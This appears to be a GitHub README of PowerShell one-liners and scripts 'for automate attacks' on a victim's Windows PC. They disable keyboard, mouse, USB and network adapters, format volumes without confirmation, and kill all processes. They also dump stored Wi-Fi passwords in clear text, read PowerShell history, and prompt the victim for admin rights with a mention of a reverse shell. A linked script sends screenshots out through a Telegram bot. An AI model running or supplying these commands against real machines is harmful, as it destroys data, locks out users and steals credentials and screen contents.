## Powershell Scripts for Automate Attacks 


This Module contains ps code that are used to automate your attacks and make Fun !<br>
There are 3 Modules that contains scripts ..!<br>
Each Contains 10 Scripts with Definition
<br>

# Module 1 PS-10
#### Note: I Have More script's to test then i will post once if worked .Please be Patient and i will try to upload one by one (Working Scripts)
### ⚠️ Warning ⚠️
**Test The scripts in virtual Environments . Am not responsible if any error or damage occures to your main**

<br>

#### 1. A NEW WAY TO DISABLE WINDOWS 10 AND 11 KEYBOARD AND MOUSE INPUT ( JUNE 2023 )

```
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class InputBlocker
{
    [DllImport("user32.dll")]
    public static extern bool BlockInput(bool fBlockIt);
}

"@

# Disable keyboard and mouse input
[InputBlocker]::BlockInput($true)
```
Run the above script as Admin Shell , If the output is false then the shell is not admin 
If the output is true then the mouse and keyboard has disable successfully , this can be fixed by restarting the PC .

**Down below that works works on windows 10(some) Windows 8 and lower versions ...**

1.Disable windows Keyboard and Mouse input. <br>

**NOTE : The Disable command will take action once the user has restarted his computer. If this command is Executed without any error . Say Bye to his PC ;)**

<br>
Before that we need to know the InstanceID of the Victim id .
<br><br>
To do That .
<p>Enter the Command :</p> 

```
# Find InstanceID for Mouse
$mouse = Get-PnpDevice | Where-Object {$_.Class -eq 'Mouse'}
$mouse | Format-Table -Property FriendlyName, InstanceId
```


```
# Find InstanceID for Keyboard
$keyboard = Get-PnpDevice | Where-Object {$_.Class -eq 'Keyboard'}
$keyboard | Format-Table -Property FriendlyName, InstanceId
```
<br>

The Command :
```
# Disable Mouse
$mouse = Get-PnpDevice | Where-Object {$_.Class -eq 'HIDClass' -and $_.FriendlyName -like '*Mouse*'}
$mouse | Disable-PnpDevice -Confirm:$false
```

```
# Disable Keyboard
$keyboard = Get-PnpDevice | Where-Object {$_.Class -eq 'Keyboard' -or ($_.Class -eq 'HIDClass' -and $_.FriendlyName -like '*Keyboard*')}
$keyboard | Disable-PnpDevice -Confirm:$false
```

Copy the INstacneID and slightly modify the down command !

<br>

Below are the Older Version that works in Windows 7 , 8 , 10(Older Version) <br> 

1(a). Lock input's from KeyBoard and Mouse <br>
 
    Start-Sleep -Seconds 5 ; Disable-PnpDevice -InstanceId (Get-PnpDevice -FriendlyName 'HID-compliant mouse').InstanceId ; Disable-PnpDevice -InstanceId (Get-PnpDevice -FriendlyName 'Standard PS/2 Keyboard').InstanceId
 <!----
If the Above Does Not work . Try this ( DISABLE ONLY KEYBOARD BASED ON VER 10 ,11 )
 
    Get-PnpDevice -FriendlyName 'HID Keyboard Device' | % { Disable-PnpDevice -InputObject $_ -ErrorAction SilentlyContinue )

FOR MOUSE :)

```
# Flase or True

$point = $False;$Element01.Add_MouseLeave({ if ( $point ) { Do something 01 } }) ;$Element01.Add_MouseEnter({ if ( $point ) { Do something 02 } }); $Element02.Add_MouseLeave({ if ( $point ) { Do something 03 } }) ;$Element02.Add_MouseHover({ if ( $point ) { Do something 04 } })
```
 <br>
--->
     
<br>

------------

2 . Run Script as Admin<br>

    Start-Process powershell.exe -ArgumentList '-File "C:\Path\To\Script.ps1"' -Verb RunAs
    
<h4>
 The Above Script will Run the Powershell saved Script as Admin once if the Victim clicks "Yes" on His PC .
 No Problem if You Got Reverse Shell as Administrator . You can play with your own Rev-Shell
</h4>
<br>

3 . Uninstall Program in Windows systems 

    Get-AppxPackage *programName* | Remove-AppxPackage

4 . Deleting Disk partition

    Format-Volume -DriveLetter <drive-letter> -FileSystem NTFS -Confirm:$false
    
can't Delete C:// Drive !

5 . Open Websites and open it in full screen using F11 key
    
    $wshell = New-Object -ComObject WScript.Shell;$wshell.Run("https://google.com");Start-Sleep -Seconds 2;$wshell.SendKeys("{F11}")

5 (1) . Alternate method to open on Any Websites 

```
& "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --new-window "https://smukx.github.io/hacked"
```
 Change the path to open on custom websites 

6  . Load Your 100% of Ram ! ( Not Efficient for Windows 10 ,11 )

    $blockSize=1GB; $memoryBlock=[byte[]]::new($blockSize); $stopWatch=
    [System.Diagnostics.Stopwatch]::StartNew(); while($stopWatch.Elapsed.TotalSeconds-lt30)
    {$null=$memoryBlock.Clone()}; $memoryBlock=$null
    
 Made an Script that leaves 512 Mb for OS Survive . (Verry Effective) <br>
 Link : 
 <a href="https://github.com/Whitecat18/Ps-script-for-Hackers-and-Pentesters/tree/main/scripts" > Click Here </a> <br><br>
 
7 . Powershell Command to Disable and Enable Display Drivers

    Add-Type -AssemblyName System.Windows.Forms; $screenOff = New-Object System.Windows.Forms.Screen;
    $screenOffBrightness = $screenOff.Brightness; $screenOff.Brightness = 0; Start-Sleep -Seconds  10;
    $screenOff.Brightness = $screenOffBrightness
    
Works in Windows 7 and 8 . Works in some versions of windows !

8 . Command to Know All Stored Wifi-Passwords
 
    (netsh wlan show profiles) -match "All User Profile\s*: (.*)" | %{(netsh wlan show profile $_.trim() key=clear)} | Select-String "Key Content" | ForEach-Object {$_ -replace "Key Content\s*: ", ""}

9 . Increase Volume 100% 

```
$obj = New-Object -com wscript.shell;for ([int]$i = 0; $i -lt 100; $i += 2) {$obj.SendKeys([char]175)}
```
For Loop to Increase Volume 0 to 100 

10 . Decrease Volume 0%
```
$obj = New-Object -com wscript.shell;for ([int]$i = 0; $i -lt 100; $i += 2) {$obj.SendKeys([char]174)}
```
For Loop to Decrease Volume to 0 

11 . Change Wallpaper in victim machine
```
$url = "https://mobimg.b-cdn.net/v3/fetch/ee/ee356e62c87dcd8544a0ec5bbd86b15a.jpeg";$output = "C:\Users\Testing doc\Desktop\image.jpeg";$regkey = "HKCU:\Control Panel\Desktop\";$regvalue = "Wallpaper";wget $url -OutFile $output;Set-ItemProperty -Path $regkey -Name $regvalue -Value $output;RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True;
```
Change the wallpaper Link as you wish . The Link should end with the extension with .jpg .jpeg etc..

12 . Put Screen to Sleep

```
$type = Add-Type '[DllImport("user32.dll")]public static extern int SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a -Pas ; $type::SendMessage(-1, 0x0112, 0xF130, -1);$type::SendMessage(-1, 0x0112, 0xF170, 2)
```
Allows to put screen sleep . when the intercept means , the machine will come back to normal

13 . Popup Message 

To popup Messages , you can use the Following 2 Methods .

Using `msg` For Older Version of Windows 
```
$text = "HEHE YOU HAVE BEEN PWENED"
msg * $text
```
(or)

```
$text = "HEHE YOU HAVE BEEN PWENED" ; msg * $text
```

Else: 

Using `Windows.Forms.MessageBox` Latest Versions 

```
Add-Type -AssemblyName PresentationFramework

[System.Windows.MessageBox]::Show("HEHE - YOU HAVE BEEN PWENED", "PowerShell Pop-up", "OK", "Information")
```
14 . Screenshot with Telebot 

capture and send screenshot to Telegram bot using powershell . 

Download the module 
`Install-Module -Name Telegram.Bot -Scope CurrentUser`

<b>Script -> <a href="https://github.com/Whitecat18/Powershell-Scripts-for-Hackers-and-Pentesters/blob/main/scripts/screenshot.ps1" > Redirect </a></b>

15 . Kill All Process

```
Get-Process | Where-Object { $_.MainModule.FileName -like "*" } | ForEach-Object { Stop-Process -Id $_.Id -Force }
```

Kill all the Running Process .

16 . Enable and disable USB Ports in Registry

Disable USB Ports

```
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\USBSTOR" -Name "Start" -Value 4 -PropertyType DWORD -Force
```

Enable USB Ports 
```
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\USBSTOR" -Name "Start" -Force
```

17 . Enable and disable Network Adapters in Registry

Disable Network Adapters

```
Get-NetAdapter | ForEach-Object {
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$($_.Name)" -Name "Start" -Value 4
}
```

Enable Network Adapters

```
Get-NetAdapter | ForEach-Object {
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$($_.Name)" -Name "Start" -Value 3
}
```

18 . Powershell History 

```
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```

19 . Minimize All Apps

```
(New-Object -ComObject Shell.Application).MinimizeAll()

```

20 .  Play Music 

Using .wav file

```
(New-Object Media.SoundPlayer "C:\path\to\music\file.wav").PlaySync()
```

Using .mp3 file
```
Add-Type -AssemblyName presentationCore
$mediaPlayer = New-Object system.windows.media.mediaplayer
$mediaPlayer.open('C:\path\to\music\file.mp3')
$mediaPlayer.Play()
```

[Bonus] Play Music from online

```
Add-Type -AssemblyName Windows.Media
$MediaPlayer = [Windows.Media.Playback.MediaPlayer]::new()
$MediaPlayer.Source = [Windows.Media.Core.MediaSource]::CreateFromUri('http://test.com/path/to/your/musicfile.mp3')
$MediaPlayer.Play()
```
